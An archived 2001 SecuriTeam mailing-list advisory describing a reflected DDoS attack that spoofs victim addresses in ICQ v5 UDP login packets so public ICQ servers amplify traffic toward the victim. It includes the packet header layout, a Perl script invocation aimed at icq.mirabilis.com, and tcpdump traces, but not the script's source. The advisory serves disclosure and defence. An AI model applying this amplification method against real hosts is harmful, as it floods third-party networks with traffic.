

# [NEWS] Public ICQ Servers Based DDoS

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0076.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 10/27/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Subject: [NEWS] Public ICQ Servers Based DDoS

Message-Id: <20011027110651.0A125138BF@mail.der-keiler.de>

Date: Sat, 27 Oct 2001 13:06:51 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Public ICQ Servers Based DDoS

---

## SUMMARY

It is possible to use public ICQ servers for traffic multiplication with coefficient of 100 and even greater. This means what attacker with a channel bandwidth of 38 Kbps ideally can fill an uplink of 3.8 Mbps.

## DETAILS

As it is known ICQ uses the UDP protocol as its transport layer. Data area of each client-side UDP packet starts with the following header, as of <http://www.algonet.se/~henisak/icq/icqv5.html>> ICQ protocol version 5:

Length Content Index Description

2 bytes 05 00 VERSION Protocol version

4 bytes 00 00 00 00 ZERO Always zero

4 bytes xx xx xx xx UIN Your UIN

4 bytes xx xx xx xx SESSION\_ID Used to prevent spoofing

2 bytes xx xx COMMAND Command

2 bytes xx xx SEQ\_NUM1 Sequence inits with a random number

2 bytes xx xx SEQ\_NUM2 Inits with 1 (!)

## Securiteam: [NEWS] Public ICQ Servers Based DDoS

4 bytes xx xx xx xx CHECKCODE  
variable xx ... PARAMETERS Parameters

Note: all client-side packets are encoded, while server ones are  
<<http://www.algonet.se/~henisak/icq/encrypt-V5.txt>> not.

SEQ\_NUM1 is initialized with a random number and is increases with each packet by 1 (!) (One of the weak spots) (i.e. if first packet contains SEQ\_NUM1=123, then next 1 will have SEQ\_NUM1=124).

SEQ\_NUM2 initializes to 1, and increases by 1 with each packet unless another value is specified (i.e. setting SEQ\_NUM2 = 0 while sending CMD\_KEEP\_ALIVE)

SESSION\_ID – random number which needs to be constant for each packet of current session, otherwise they are ignored by the server. In addition, server's packets are marked by the same value that is done to prevent spoofing.

The theory of this attack lies in the fact that nothing prevents us from connecting to the server as registered user/users while spoofing the source address by the victim IP (and it is likely but not necessary the field "Our IP" in the header of CMD\_LOGIN command). By this, we are redirecting the server's response traffic to the victim, because this is possessed by not only UDP protocol weakness, but also the SEQ\_NUM1 and SEQ\_NUM2 sequence rules predictability. All these factors are the building base for our attack.

### Realization:

To test the attack a Perl script was written that would blindly sends packets, one after the other with some delay. Let us look at results:

```
% perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 is  
the victim IP, 1027 is the port)
```

attacker`s tcpdump:

```
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80  
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28  
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57  
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53
```

victim`s tcpdump:

```
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)
```

## Securiteam: [NEWS] Public ICQ Servers Based DDoS

yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable



Securiteam: [NEWS] Public ICQ Servers Based DDoS

yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF)  
yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable  
(Note: packet length is specified without IP(20) ? UDP(8) )

It is obvious from the dumps that victim is answering the packets it receives with the ICMP unreachable message, but the server ignores it and continues to send ~11–12 retries with a nearly 6 sec delay in the hope that the other side hears him. These packets serve to inform the victim who of its contact list is online. After some simple math we see that the request/answer rate is 330/10110 which is close to 1/30 – a decent value.

Scenario:

In the previous realization, we had reached by far not the maximal traffic multiplication rate, because the attacker used a rather short 8–entry contact list.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57

However, it is possible to send the list of 100 random online users, or list of our special users, which are constantly kept online.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425

This leads to the better–than–linear answer growth

- 1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
- 2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
- 3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Securiteam: [NEWS] Public ICQ Servers Based DDoS

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[UNIX] RWhoisd Remote Format String Vulnerability (-soa)"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)